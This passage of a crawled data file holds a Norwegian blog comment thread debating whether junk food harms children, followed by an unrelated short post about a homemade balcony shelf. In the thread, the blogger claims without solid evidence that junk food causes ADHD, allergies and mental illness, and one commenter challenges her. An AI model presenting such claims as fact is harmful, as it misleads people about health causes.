spesifikke blogginnlegg eller artikler p\u00e5 f.eks. forskning.no som gir svar.\n        \n        Og tilsvarende har jeg et helt konkret sp\u00f8rsm\u00e5l til din p\u00e5stand ang\u00e5ende ADHD og psykiske problemer hos barn.\n        \n         Svar \n    3.  #### Margit Vea\n        \n        6 \u00e5r siden\n        \n        I mange av mine innlegg p\u00e5 bloggen og dinmat.no har jeg linker til forskning. Senest i dag leste jeg en sak i Innsikt (AFtenposten) og jeg siterer: \"Forskning viser at barn som spiser middag med familien har st\u00f8rre vokabular og gj\u00f8r det bedre p\u00e5 skolen enn de som ikke gj\u00f8r det. De har ogs\u00e5 mindre sjanse for \u00e5 utvikle fedme og depresjon. \" Selvf\u00f8lgelig har det sosiale felleskapet rundt matbordet mye av \u00e6ren for dette, men i tillegg til dette kan maten ha mye \u00e5 si. Ingen tvil\\!\\! Foreldre erfarer daglig at det barna spiser har innvirkning p\u00e5 hum\u00f8r og psyke, ogs\u00e5 flere som har barn med ADHD diagnoser. Desverre er ikke forskning rundt denne problematikken h\u00f8yt prioritert, \u2013 dette vil vi helt sikkert h\u00f8re mye mer om i tiden som kommer.\n        \n    4.  #### Anonym\n        \n        6 \u00e5r siden\n        \n        Du har fremdeles ikke svart p\u00e5 mine konkrete sp\u00f8rsm\u00e5l ang\u00e5ende dine p\u00e5stander om at \"s\u00f8ppelmat\" P\u00c5F\u00d8RER oss intoleranser og allergier\\! Hvorfor ikke?\n        \n        Den forskningen du henviser til n\u00e5 sist omhandler de positive effektene av det \u00e5 spise middag sammen med familien. Dette har INGENTING med forskjellen mellom \"s\u00f8ppelmat\" og \"sunn mat\" \u00e5 gj\u00f8re\\!\n        \n        I forhold til dette med ADHD og psykiske problemer sier du n\u00e5 at \"foreldre erfarer daglig\" (dette teller ikke akkurat som dokumenterte sammenhenger) og at forskning rundt dette ikke er prioritert s\u00e5 langt. S\u00e5 da er det kanskje ikke noe grunnlag for p\u00e5stander om en sammenheng mellom \"s\u00f8ppelmat\" og psykiske lidelser allikevel da? Du sier i hovedinnlegget ditt at \"s\u00f8ppelmaten\" P\u00c5F\u00d8RER barn ADHD og psykiske problemer. S\u00e5 langt jeg kan se har du INGEN dokumentasjon som underbygger en s\u00e5pass dr\u00f8y og generell p\u00e5stand\\!\n        \n    5.  #### viggo\n        \n        6 \u00e5r siden\n        \n        Sjekk her anonym. Les bloggen til J\u00e5bekk. N\u00e5r du er ferdig med den kan du komme tilbake igjen.\n        \n        http://paljabekk.blogspot.com/\n        \n    6.  #### Anonym\n        \n        6 \u00e5r siden\n        \n        Hovedpoenget i denne framifr\u00e5 bloggen er \u00e5 minne folk om at det \u00e5 ete mat med h\u00f8gare kvalitet vil sl\u00e5 positivt ut for folk flest.\n        \n        At du vel \u00e5 henge deg opp i detaljar er greitt nok, men sidan det faktisk er andre enn Margit Vea som les seg gjennom dette so ville det vore fint om du kunne finne p\u00e5 noko anna enn berre \u00e5 kverulere.\n        \n    7.  #### Anonym\n        \n        6 \u00e5r siden\n        \n        Som du kan se i det f\u00f8rste avsnittet i den opprinnelige kommentaren min, s\u00e5 har jeg ingen problem med at Margit og mange andre gj\u00f8r en prisverdig innsats for \u00e5 f\u00e5 folk til \u00e5 spise sunnere.\n        \n        Det jeg reagerer p\u00e5 er at Margit kommer med generelle p\u00e5stander knyttet til \"s\u00f8ppelmat\" som jeg mener er feil eller tvilsomme. Og n\u00e5r jeg stiller konkrete sp\u00f8rsm\u00e5l om hva slags grunnlag hun har for \u00e5 p\u00e5st\u00e5 det hun gj\u00f8r, har hun fortsatt til gode \u00e5 komme med svar eller henvisninger til kilder som st\u00f8tter p\u00e5standene hennes. Og de kommentarene hun s\u00e5 langt har gitt, underbygger bare mistanken om at deler av det som blir p\u00e5st\u00e5tt baserer seg mer p\u00e5 synsing enn p\u00e5 dokumenterte sammenhenger.\n        \n        Hvorfor kommer ikke Margit eller noen andre med gode, konkrete svar?\n        \n        Og nei, dette er ikke \u00e5 henge seg opp i detaljer\\! Margit sitter med sin bakgrunn som forfatter og foredragsholder i en maktposisjon, og hun har stor p\u00e5virkningskraft innen et veldig viktig tema. B\u00e5de jeg og andre m\u00e5 kunne forvente at en person av en slik kaliber har dokumentert grunnlag for det som blir p\u00e5st\u00e5tt og lagt frem som fakta. S\u00e5 i dette tilfellet, n\u00e5r Margit p\u00e5st\u00e5r noe s\u00e5 dr\u00f8yt som at \"s\u00f8ppelmat\" P\u00c5F\u00d8RER oss blant annet allergier, intoleranser, ADHD og psykiske problemer, s\u00e5 forventer jeg at hun kan legge fram et noenlunde seri\u00f8st grunnlag for disse p\u00e5standene.\n        \n    8.  #### Margit Vea\n        \n        6 \u00e5r siden\n        \n        Her kan du lese om en studie som ble gjort p\u00e5 Madlavoll skole i Stavanger: http://lesesenteret.uis.no/forside/nyheter/article9219-1037.html\n        \n        Dr. med Karl-Ludvig Reichelt, forsker ved Rikshospitalet i Oslo, har i snart 30 \u00e5r forsket p\u00e5 sammenhengen mellom matvarer og psykiske lidelser. If\u00f8lge REichelts forskning og en rekke utenlandske tester, er det dokumentert at riktig mat kan forebygge og behandle psykisk sykdom. http://www.cristin.no/as/WebObjects/cristin.woa/wa/fres?sort=ar\\&pnr=18306\\&la=no\\&action=sok\n        \n        Tarmfloraen blir selvf\u00f8lgelig p\u00e5virket av hva vi spiser (og medisiner) \u2013 og forskere (blant annet ved universitet i Bergen) mener forstyrrelser i tarmfloraen kan f\u00f8re til psyksike problemer.\n        \n        Anbefaler boken : Til matens forsvar, av Michael Pollan \u2013\n        \n        Selv om jeg p\u00e5st\u00e5r at s\u00f8ppelmaten p\u00e5f\u00f8rer oss disse sykdommene, utelukker jeg ikke at det finnes andre faktorer.\n        \n         Svar \n    \n    9.  #### Anonym\n        \n        6 \u00e5r siden\n        \n        Sitater fra studien du henviser til:\n        \n        \"Sammen med forsker Ann Mari Knivsberg ved Lesesenteret og Karl-Ludvig Reichelt ved Rikshospitalet har han gjennomf\u00f8rt et forskningsprosjekt der 23 barn med ADHD-atferd kuttet ut alle melkeprodukter i ett \u00e5r.\"\n        \n        \"Lege og nevrokjemiker Karl-Ludvig Reichelt mener at proteiner i vanlig mat kan gi psykiske lidelser og atferdsproblemer. \u2013 N\u00e5r enkelte matproteiner, som for eksempel gluten og kasein, blir brutt ned, dannes det opioide peptider.\"\n        \n        Fokusen her er med andre ord p\u00e5 melkeprodukter, \"vanlig mat\" og proteinene gluten og kasein, som finnes i henholdsvis korn og melk.\n        \n        Dette kan p\u00e5 ingen m\u00e5te underbygge p\u00e5standen mellom \"s\u00f8ppelmat\" og pyskiske problemer. Det er jo tvert i mot indikasjoner p\u00e5 akkurat det motsatte; at det kanskje er de klassiske, sunne r\u00e5varene som kan skape problemer.\n        \n    10. #### Margit Vea\n        \n        6 \u00e5r siden\n        \n        Man kan snu p\u00e5 det og si at ingen har noen gang vist at mennesker og spesielt barn t\u00e5ler s\u00e5 mye ufysiologisk mat (raffinert, mye sukker, mange unaturlige stoffer som kroppen ikke har forutsenting fo r\u00e5 kjenne igjen).\n        \n        De som ikke t\u00e5ler disse \"klassiske \u00b4sunne r\u00e5varene\" som melk (og kan behandlingen av melken ogs\u00e5 v\u00e6re \u00e5rsaken\u2026) og gluten, t\u00e5ler som oftest heller ikke \"s\u00f8ppelmat\". Spr\u00f8ytemidler, tungmetaller og ufysiologisk mat kan ogs\u00e5 v\u00e6re \u00e5rsaken til at mennesker begynner \u00e5 reagere p\u00e5 \"klassiske sunne r\u00e5varer\".\n        \n        Ellers er det desverre ogs\u00e5 et faktum at s\u00f8ppelmat bidrar til fedme/overvekt, som igjen \u00f8ker risikoen for psykiske plager og sykdom.\n        \n         Svar \n    \n    11. #### Anonym\n        \n        6 \u00e5r siden\n        \n        Dette minner mer og mer om kostholdsveiledning basert p\u00e5 en slags \"halvreligi\u00f8s overbevisning\" enn veiledning basert p\u00e5 saklig argumentasjon og dokumenterte fakta. Det virker som du (og dessverre andre med deg) rett og slett bare har bestemt deg for at alt som er \"naturlig\" er veldig bra og sunt, mens alt som er ikke er like \"naturlig\" er farlig og usunn \"s\u00f8ppelmat\". Og s\u00e5 tar du til deg den informasjonen som st\u00f8tter dette synet, og overser eller forkaster den informasjonen som ikke passer inn i dette bildet. Det er tydeligvis ogs\u00e5 helt kurant \u00e5 bruke forskningsresultater som setter klassiske, sunne og \"naturlige\" r\u00e5varer i et negativt s\u00f8kelys til \u00e5 sverte og spre skepsis rundt \"unaturlig s\u00f8ppelmat\".\n        \n        N\u00e5r jeg ettersp\u00f8r grunnlaget for \u00e5 hevde at \"s\u00f8ppelmat\" f\u00f8rer til ADHD, viser du til en studie som omhandler ADHD og melkeprodukter\\! Og n\u00e5r jeg p\u00e5peker dette, indikerer du at det kan v\u00e6re behandlingen av melken som er \u00e5rsaken. Snakk om \u00e5 finne opp sammenhenger p\u00e5 egen h\u00e5nd, og \u00e5 misbruke forskningsresultater\\!\n        \n        Og i stedet for \u00e5 innse (sammen med moderne fysiologi og legevitenskap) at det faktisk finnes mengder av folk som 100 % fra naturens side har forskjellige typer allergier og intoleranser ovenfor klassiske, sunne r\u00e5varer, s\u00e5 er det tydeligvis mye enklere og mer behagelig \u00e5 mistenke at det er spr\u00f8ytemidler og tungmetaller som f\u00f8rer til disse problemene.\n        \n        Underveis i denne diskusjonen har kona mi gjort meg oppmerksom p\u00e5 at vi faktisk har et eksemplar av Kj\u00f8kkenpatruljen i hylla p\u00e5 kj\u00f8kkenet. Jeg kikket litt i den, og det s\u00e5 ut til \u00e5 v\u00e6re mye spennende og gode oppskrifter der, og mange bra tips til hvordan vi p\u00e5 en god m\u00e5te kan inkludere v\u00e5re tre sm\u00e5 h\u00e5pefulle i matlagingen. Men jeg m\u00e5 si jeg er sv\u00e6rt lite imponert, og tildels skremt over hvor utrolig lite objektivt og n\u00f8kternt du forholder deg til deler av informasjonen, faktaene og forskningsresultatene som jeg antar danner grunnlaget for p\u00e5standene i foredragene, b\u00f8kene og blogginnleggene dine.\n        \n13. #### Anonym\n    \n    6 \u00e5r siden\n    \n    Du har helt rett. Jeg er mor til to barn og hver eneste uke s\u00e5 f\u00f8ler jeg p\u00e5 denne d\u00e5rlige samvittigheten, det blir alfor mye lettvinte retter og mat hjemme hos oss. Tenker ogs\u00e5 hver uke at N\u00c5 skal det bare bli sunn mat, men s\u00e5 kommer hverdagene, begge voksne ut i jobb, henter utslitte og tr\u00f8tte barn sent p\u00e5 sfo, s\u00e5 skal det handles og lage mat. Og s\u00e5 er det gjerne en trening, for det er jo s\u00e5 viktig at barna er med p\u00e5 fysisk trening ogs\u00e5. S\u00e5nn som det er i dagens samfunn s\u00e5 strekker ikke tiden til til full jobb, skolebarn, oppf\u00f8\u00f8lging av lekser, aktiviterer o.l. Dette er et stort problem i mange familier. Enten m\u00e5 en av foredrene v\u00e6re hjemme p\u00e5 deltid, eller s\u00e5 m\u00e5 skolen legge opp til varm mat og sunn mat hver dag. Bare det hadde hjulpet mye i det moderne samfunnet vi lever i. Min store dr\u00f8m er varm og sunn mat p\u00e5 skolene hver dag \ud83d\ude42 \ud83d\ude42 . Mvh Hanne\n    \n    1.  #### Anonym\n        \n        6 \u00e5r siden\n        \n        Hei. Jeg er mor til tre \u2013 men har ingen d\u00e5rlig samvittighet de F\u00c5 gangene det blir servert lettvinte retter hjemme hos oss. Regner med at n\u00e5r du skriver \"lettvinte retter\" s\u00e5 mener du ferdigmat? Hvorfor handler dere etter \u00e5 ha hentet utslitte barn etter SFO? Og hvis de er utslitte etter SFO \u2013 hvorfor m\u00e5 de g\u00e5 p\u00e5 trening? \u00c5 konkludere med at enten s\u00e5 m\u00e5 en av foreldrene v\u00e6re hjemme, eller s\u00e5 m\u00e5 skolen legge opp til sunn mat hver dag var vel en ganske stor ansvarsfraskrivelse for organisering av egen hverdag?? \u00c8n dag i uka skriver man ukemeny, og \u00e8n dag i uka handler man mat. Og man trenger ikke v\u00e6re to for \u00e5 handle\u2026 Det tar ikke lenger tid \u00e5 steke laks i panna enn \u00e5 varme opp fiskepinner. N\u00e6ringsinnholdet og sunnhetsverdien er dog himmelvidt forskjellig p\u00e5 disse to rettene\\! Om potetene er skrellet kvelden f\u00f8r og st\u00e5r klare i kj\u00f8leskapet er det bare \u00e5 sette de p\u00e5 plata mens fisken steker. Guler\u00f8tter kan kokes m/potetene. Sunne matvaner handler om prioritering, organisering, interesse og vaner\\! Jeg skulle \u00f8nske flere s\u00e5 p\u00e5 sunne m\u00e5ltider for sine barn som like viktig som at de har rene kl\u00e6r, sunne fritidsaktiviteter og f\u00e5r god oppdragelse\\! Til syvende og sist eier vi ikke stort her i verden om vi ikke har god helse\\!\n        \n         Svar \n\n14. #### Anonym\n    \n    6 \u00e5r siden\n    \n    Hei\\! Jeg vil bare si at det var forfriskende \u00e5 lese et innlegg om temaet uten at de gikk i den vanlige fella om at \"det er s\u00e5 mye billigere med usunn mat, derfor spiser alle usunt\". Temaet er mye mer komplekst enn som s\u00e5, og en har flere eksempler p\u00e5 at sunn mat ofte er rimeligere enn dyr mat\\! (kyllingkj\u00f8ttdeig vs kj\u00f8ttdeig, laksefilet vs ferdigproduserte lakseburgere osv).\n    \n    Jeg er litt uenig i det som er knyttet til likestilling, da jeg ikke mener den st\u00f8rste faktoren for dette er at kvinner arbeider mer. Jeg tror mer det er en kombinasjon av manglende vilje til planlegging, generelt sett styrket kj\u00f8pekraft og manglende kunnskap om ern\u00e6ring.\n    \n    \u00c5 s\u00f8rge for god og sunn mat i en stressende hverdag krever mer tid, ja. Men dersom en faktisk velger \u00e5 prioritere dette setter man av den tiden det kreves. Det krever litt ekstra planlegging, men det burde virkelig v\u00e6re verdt det. VI har alle tid til helsa v\u00e5r. Styrket kj\u00f8pekraft generelt sett kan ogs\u00e5 v\u00e6re en av \u00e5rsakene, da det er lettere \u00e5 kj\u00f8pe med seg take-away fra den lokale kinesiske restauranten til en familie p\u00e5 fire (fort rundt 600 kr) p\u00e5 veien hjem, enn \u00e5 begynne \u00e5 lage n\u00e5r en kommer hjem. Videre tror jeg at det generelle kunnskapsniv\u00e5et om rett og god ern\u00e6ring ikke er bra nok.\n    \n    N\u00e5r det kommer til det siste \u2013 det er nok ogs\u00e5 en sannhet med modifikasjoner. For jeg tror det generelle kunnskapsniv\u00e5et egentlig er rimelig bra. Likevel velger mange \u00e5 ignorere kunnskapen og handle motsatt. Derfor tror jeg det er rett som du sier, \u00e5 implementere gode holdninger, kunnskap og vaner rundt dette allerede i skolen.\n    \n    Men hva tenker du kan gj\u00f8res \u00e5, hvordan skal en f\u00e5 folk til \u00e5 forst\u00e5 alvoret i dette, hvordan skal folk v\u00e5kne? Senest i dag kunne en lese i VG at 75% av mennene er overvektige, og en er i ferd med \u00e5 f\u00e5 en epidemi i livsstilssykdommer. Dette er en trend som m\u00e5 snu\\!\n    \n15. #### Anonym\n    \n    6 \u00e5r siden\n    \n    Det er ikke s\u00e5 fryktelig vanskelig \u2013 alt handler om prioriteringer. Jeg er en alenemamma i full jobb og ikke s\u00f8ren som det kommer ferdigmat p\u00e5 bordet hjemme hos meg\\! Det tar jo ikke lang tid \u00e5 lage skikkelig mat, det er bare en myte. Og s\u00e5 koser vi oss med \u00e5 lage maten sammen. Gr\u00f8nnsakene serveres helst r\u00e5 \u2013 akkurat s\u00e5nn som barna vil ha det \u2013 hver dag\\!\n    \n    1.  #### Anonym\n        \n        6 \u00e5r siden\n        \n        Helt enig med deg, og utrolig flott \u00e5 h\u00f8re noen si dette. Det handler om prioriteringer. En har bare en helse og ett liv, og det m\u00e5 en stelle godt med. Alle har tid til \u00e5 sette av kanskje to timer en s\u00f8ndag og lage mat for eksempel til uka, mye kan fryses ned\\! Lage hjemmelaget, sunt br\u00f8d, lage egne kyllingkj\u00f8ttboller og fryse ned osv. Kun fantasien setter grenser \ud83d\ude42\n        \n16. #### Anonym\n    \n    6 \u00e5r siden\n    \n    Jeg er enig i at man burde prioritere \u00e5 lage god og sunn mat, men stiller sp\u00f8rsm\u00e5let ved ditt sp\u00f8rsm\u00e5l \"Men jeg har lyst til \u00e5 stille sp\u00f8rsm\u00e5let om vi har ofret v\u00e5r og barnas helse p\u00e5 materialismens og likestillingens alter?\". Kan ikke en mann lage god og sunn mat? Kan ikke foreldrene dele p\u00e5 denne oppgaven?\n    \n     Svar \n\n17. #### Ragnhild Lorentzen\n    \n    6 \u00e5r siden\n    \n    Hei\\!\n    \n    Vil bare takke for et glimrende innspill\\!\n    \n    I denne sammenheng vil jeg ogs\u00e5 anbefale innlegget til v\u00e5r medstudent Erik Arnesen, som driver den gode og kritiske bloggen Sunn Skepsis: http://sunnskepsis.wordpress.com/. Ellers kan du jo sjekke ut v\u00e5re meninger om norsk matkultur p\u00e5 Matersunt: http://matersunt.no/?p=355.\n    \n    Vi skal f\u00f8lge deg videre\\!\n    \n    Hilsen fra oss i Matersunt.no\n    \n18. #### Silkebob\n    \n    6 \u00e5r siden\n    Tipper at matindustrien har like mange svin p\u00e5 skogen som den forhatte tobakksindustrien.\n    \n    Blant annet syntetisk ost, muk og palmeoljer som ikke kommer frem i lyset f\u00f8r de blir p\u00e5lagt \u00e5 opplyse om det.\n    \n19. #### Anonym\n    \n    6 \u00e5r siden\n    \n    E-stoffer er ikke bare un\u00f8dvendige og mange av dem er helt naturlige,men det er vel mange som man gjerne skulle visst mer om.\n    \n    En av grunnene til at vi spiser s\u00e5 mye ferdigmat er at det er 1. og fremst det butikken har.\n    \n    Ikke har vi slaktere lenger og gr\u00f8nnsakene i butikken er ikke ferske de er gamle og gjerne overmodne muggete og stygge likestilling har ingenting med detta og gj\u00f8re det er rimihagen sin skyld.\n    \n    Og det er ikke noe direkte usunt med taco hvor har du f\u00e5tt det fra ?\n    \n    \u2013 Barnehagene m\u00e5 forbedre menyene sine = det m\u00e5 vi betale.\n    \n    \u2013 Skolen m\u00e5 innf\u00f8re sunn skolelunsj til alle = det kommer ingen til og betale.\n    \n    \u2013 S\u00f8ppelmaten m\u00e5 fjernes fra idretten = Nei butikken.\n    \n    \u2013 Matbutikkene m\u00e5 promotere skikkelig mat = Det tjener de ikke p\u00e5 og kommer ikke til og skje hvis du ikke tenker v\u00e6pna revulosjon da ?\n    \n    \u2013 B\u00e5de sm\u00e5 og store kan med fordel l\u00e6re \u00e5 lage mer mat fra grunnen av. = Helt klart,men vanskelig uten tilgang til r\u00e5varer som ikke er tukla med.\n    \n    \"Det er lettere \u00e5 spise seg til god helse, enn \u00e5 betale seg til det.\"\n    \n    Sunn mat er desverre dyr mat i mange tilfeller vi er i ferd med og bli amerikansk i matveien og det er en skam og og den butikkmafian vi har her i landet med Stein erik Hagen i spiss skulle v\u00e6rt tiltalt for massemord eller landsforfeiteri.\n    \n     Svar \n\n20. #### Anonym\n    \n    6 \u00e5r siden\n    \n    Det blir vel litt i enkleste laget \u00e5 skylde p\u00e5 matbutikkene? Man kan jo handle p\u00e5 alt fra Rimi til Meny, hvor utvalget er veldig forskjellig. N\u00e5r jeg handler p\u00e5 butikker med stort utvalg er det skjeldent jeg ikke finner de r\u00e5varene jeg trenger for \u00e5 lage sunn mat. Dessuten t\u00f8r jeg p\u00e5st\u00e5 at sunn mat heller ikke er dyr mat, da r\u00e5varene gjerne holder til flere middager enn det en Grandiosapizza gj\u00f8r. Er heller ikke enig i mer import av mat da f.eks EU har en helt annen, ofte lavere, standard p\u00e5 maten kontra Norge. Vi b\u00f8r verne om den norske bonden og landbruket.\n    \n     Svar \n    \n    1.  #### Anonym\n        \n        6 \u00e5r siden\n        \n        Det er gjerne st\u00f8rre utvalg av det samme produktet,men utvalget generelt er mye d\u00e5rligere enn i mange u-land det er fakta.\n        \n        N\u00e5r det kommer til pris tenker jeg f\u00f8rst og fremst p\u00e5 kj\u00f8tt det er jo naturlig at bedre kj\u00f8tt koster mer,men 270 kr kg for noen motbydelige svette koteletter ferdigpakka og pressa inn i en plastlomme som det st\u00e5r gilde p\u00e5 det er det faen ikke verdt for det kj\u00f8ttet suger,men det er eneste alternativet.\n        \n        Jeg er enig i at vi b\u00f8r verne om det norske landbruket,men at norsk mat er s\u00e5 mye bedre enn mat fra eu er bare tull en myte om at norsk er mye bedre enn utenlandsk som lever i beste velg\u00e5ende oppe i hodene p\u00e5 folk m\u00e5 v\u00e6re noe gammel propaganda.\n21. #### Anonym\n    \n    6 \u00e5r siden\n    \n    Heisann. F\u00f8rskolel\u00e6rer i bhg \ud83d\ude42 Vi serverer hjemmebakt br\u00f8d hver dag, havregr\u00f8t hver tirsdag og varmmat torsdager som da ogs\u00e5 er vegetar og \u00f8kologisk, pluss speltknekkebr\u00f8d og frukt i mellomm\u00e5ltidene. Er str\u00e5lende forn\u00f8yd med det tilbudet vi har, noe som foreldrene ogs\u00e5 uttrykker. Desverre er det ikke samme situasjon hjemme. Jeg/vi velger ofte \"feil\" produkter n\u00e5r vi skal lage middag. Kj\u00f8ttdeig i diverse retter er popul\u00e6rt, p\u00f8lser, pannekaker, kj\u00f8ttboller, fiskepinner, fiskeboller, fiskekaker,ja, typisk \"barnemat\" kommer nok f\u00f8r lettsaltet torsk, hjemmelaget fiskegrateng, laks osv. \u00c5rsaken er nok manglende ideer, kunnskap, tid og litt \u00f8konomi i dette. Jeg er vokst opp med hjemmelaget mat og ferske gr\u00f8nnsaker \u2013 hver dag. Skulle \u00f8nske jeg kunne klare det samme. Man innbiller seg nok at det tar lengre tid \u00e5 trekke fisk som det tar \u00e5 steike fiskekaker, i tillegg til at fantasien stopper. Det blir nok mye potetmiddag med gr\u00f8nnsaksblanding /kokte gulr\u00f8tter og saus. Kjedelig? Ja. Jeg syntes r\u00e5varene er dyre, skikkelig kj\u00f8tt og fisk koster mer enn ferdigprodusert. Det har nok kanskje noe med prioriteringer \u00e5 gj\u00f8re, men ogs\u00e5 kunnskap og variasjon. Etterlyser idesider med tips til enkle, sunne og lite tidkrevende middager. For i en familie med 3 sm\u00e5 barn, er det viktig at maten komemr rask p\u00e5 bordet etter endt abeidsdag/bhgdag, da for \u00e5 unng\u00e5 skriking og konflikter som lett kommer p\u00e5 tom mage. Det hjelper vel heller ikke at minstemann kun \u00f8nsker ferdigproduserte produkter fremfor \"ordentlig\" fisk. Han er lite kresen og har blitt tilbudt alt fra han kunne smake p\u00e5 vanlig mat. Men enda brekker han seg n\u00e5r han f\u00e5r servert ett skikkelig fiskem\u00e5ltid, selv om vi har variert de s\u00e5 mye vi kan, begynt tidlig og oppmuntret. Det motiverer da lite \u00e5 bruke mye penger p\u00e5 fine r\u00e5varer n\u00e5r maten likevel havner p\u00e5 gulvet. Eldstemann derimot, elsker laks og fisk generelt. Mor og far er like d\u00e5rlige p\u00e5 ideer og variasjon, s\u00e5 jeg vil og \u00f8nsker en bedre matsituasjon hjemme. S\u00e5 om noen kunne gitt oss r\u00e5d og veiledning om slike matretter som vi \u00f8snker \u00e5 servere, som er sunt og i samsvar med \u00f8konomien og matbudsjettet, tar vi mer enn gjerne imot tips\\!\n    \n    1.  #### Anonym\n        \n        6 \u00e5r siden\n        \n        matprat.no har veldig mange gode matoppskrifter\\! Se under kategorien \"sunt\" og \"raskt\" \ud83d\ude42\n        \n        V\u00e5r 2-\u00e5ring (og resten av familien p\u00e5 5; b\u00e5de ten\u00e5ringer og de eldre;) elsker (fersk\\!) broccoli, asparges & blomk\u00e5l, og spiser godt n\u00e5r jeg surrer de 2 min i usaltet sm\u00f8r & godt med hvitl\u00f8k \u2013 anbefales\\! Dersom man velger kj\u00f8tt eller fisk ved siden av, tar det f.eks. kun 3 min p\u00e5-hver-side \u00e5 steke koteletter:)\n        \n        Innbakt laks er nydelig (laksestykker i folie med litt havsalt, en sm\u00f8rdash & litt v\u00e5rl\u00f8k)\\!\n        \n        Dersom de minste er veldig sultne og syntes det blir lenge \u00e5 vente 1 time p\u00e5 middagen, kan man f.eks lage en hjemmelaget smoothie best\u00e5ende av isbiter, banan, enten litt bringeb\u00e6r eller bl\u00e5b\u00e6r og litt appelsinjuice for \u00e5 gj\u00f8re den litt mer flytende;) En god vitaminbooster som gj\u00f8r at man fint klarer \u00e5 vente 1 t p\u00e5 middagen:)\n        \n         Svar \n22. #### Anonym\n    \n    6 \u00e5r siden\n    \n    Vill bare kommentere at s\u00e5kalt sunn mat, ikke er dyrt i forhold til hal/hel fabrikat, det blir som regel billigere.. Men det blir flere ting \u00e5 handle s\u00e5 det virker dyrere..\n    \n    forst\u00e5r ikke hvor folk har det fra at \"sunn mat er dyr mat\"..\n    \n    Enige med deg ang\u00e5ende likestilling, ikke s\u00e5nn at det er et kj\u00f8nn sin feil.. men siden \"alle\" jobber, s\u00e5 m\u00e5 vi spare tid.. etter jobb, og henting av barn og diverse, s\u00e5 f\u00e5r vi kanskje to-tre timer f\u00f8r minstemann m\u00e5 legges, kjedelig og bruke dem p\u00e5 \u00e5 lage mat \ud83d\ude41\n    \n    1.  #### Anonym\n        \n        6 \u00e5r siden\n        \n        Kjedelig? Barn elsker \u00e5 f\u00e5 v\u00e6re med \u00e5 tilberede& lage mat\\!\n        \n        Inviterer du de yngste til \u00e5 ta del i matlagingen, kombinerer du b\u00e5de verdifull tid sammen og du videref\u00f8rer gode vaner & kunnskap om riktig mat\\! :)) Heia tiden vi har p\u00e5 kj\u00f8kkenet\\! (-og dette kommer fra en som i voksen alder har l\u00e6rt seg \u00e5 lage god & sunn mat fra bunnen av fordi jeg er opptatt av \u00e5 v\u00e6re et godt eksempel for barna mine\u2026i tillegg til den store helsegevinsten vi har av \u00e5 lage & spise ern\u00e6ringsrik, sunn mat selvf\u00f8lgelig;)\n        \n    2.  #### Anonym\n        \n        6 \u00e5r siden\n        \n        Jeg er ikke enig hel/halv fabrikat er mye billigere enn ferske r\u00e5varer 2 paprika og en pakke l\u00f8k koster mer enn en grandis og da m\u00e5 det v\u00e6re noe g\u00e6rent et eller annet sted.\n        \n        At noe skal virke dyrere n\u00e5r du kj\u00f8per flere ting er jo ikke logisk i det hele tatt det burde virke billigere fordi du har mer i posen n\u00e5r du g\u00e5r hjem.\n        \n        uansett kvitteringen forteller alt du trenger og vite persillerot og grandiosa koster det samme.\n        \n23. #### Anonym\n    \n    6 \u00e5r siden\n    \n    Du m\u00e5 ikke blande likestilling med mat og helse, da er du nok helt p\u00e5 jordet\u2026\n    \n24. #### Anonym\n    \n    6 \u00e5r siden\n    Norge er, s\u00e5 vidt meg bekjent, det eneste landet hvor det er s\u00e5 ekstremt stort fokus p\u00e5 \u00e5 spise sunn, vond og dyr mat.\n    \n    Gj\u00f8r dette oss virkelig til en sunnere befolkning enn andre sammenlignbare land? Er vi virkelig s\u00e5 mye sunnere enn franskmenn og sveitsere, for eksempel?\n    \n    Har l\u00e6rt p\u00e5 Grete Roede-kurs at en kalori er en kalori, enten den kommer i form av transfett eller salatblad. Da vil jeg ogs\u00e5 tro at en vitamin er en vitamin. Hvis det da er like mange vitaminer i halv/helfabrikata som i \"ekte\" mat, er det da s\u00e5 forferdelig \u00e5 spise noe som andre har tilberedt for oss?\n    \n    1.  #### Anonym\n        \n        6 \u00e5r siden\n        \n        Mat vi lager selv fra bunnen av har ikke alle disse ekstra konserveringsmidlene og e- stoffene, som halv/hel fabrikata har. Derfor er det ikke like sunt\u2026\n        \n25. #### Anonym\n    \n    6 \u00e5r siden\n    \n    Mine barn skal vokse opp som vegetarianere. Det er i allefall sunt \ud83d\ude42\n    \n26. #### Anonym\n    \n    6 \u00e5r siden\n    \n27. #### Romeo\n    \n", "language": "no", "__index_level_0__": "5a87356e-c60d-466c-8130-83a184afc98b"}
{"url": "http://frokendingsmoren.blogspot.com/2013/09/hylle-til-altanen.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:14:44Z", "text": "## mandag 9. september 2013\n\n### Hylle til altanen\n\n\u00a0\n\nMin mann var super flink \u00e5 lagde denne fine hyllen til meg ute p\u00e5 altanen.\n\nDet hele begynte med at jeg \u00f8nsket meg en s\u00e5nn hylle p\u00e5 altanen, men jeg s\u00e5g p\u00e5 disse plastikk hyllene p\u00e5 europris og plantasjen. Hadde ogs\u00e5 sett disse trehyllene da, men de var s\u00e5 dyre.\n\nMen min flinke handymann begynte plutselig p\u00e5 ett prosjekt, jeg ante ikke hva det skulle bli.\n\nMen ble utrolig glad da jeg skj\u00f8nte hva dette skulle bli da. S\u00e5 han snekret denne hyllen fra eget hode, han hadde sett de i butikken og lagde egen tegning. S\u00e5 istede for \u00e5 bruke over 1000 lappen p\u00e5 en s\u00e5nn hylle, brukte vi litt over 100 lappen i stede. Er veldig forn\u00f8yd, og hadde ingen problem med \u00e5 fylle hyllen, med ting jeg hadde kj\u00f8pt i ferien.\n\n\u00a0\n\n\nIkke se p\u00e5 gulvet der er det ikke gjort noe enda, men har store planer.\n\n\u00a0\n\n\n#### 1 kommentar:\n\n1.  \n    \n    Feline23. september 2013 kl. 05:05\n    \n    Kjempefin hylle :)\n", "language": "no", "__index_level_0__": "7dadc42d-ac9d-420f-ba87-abb5070bfe2b"}
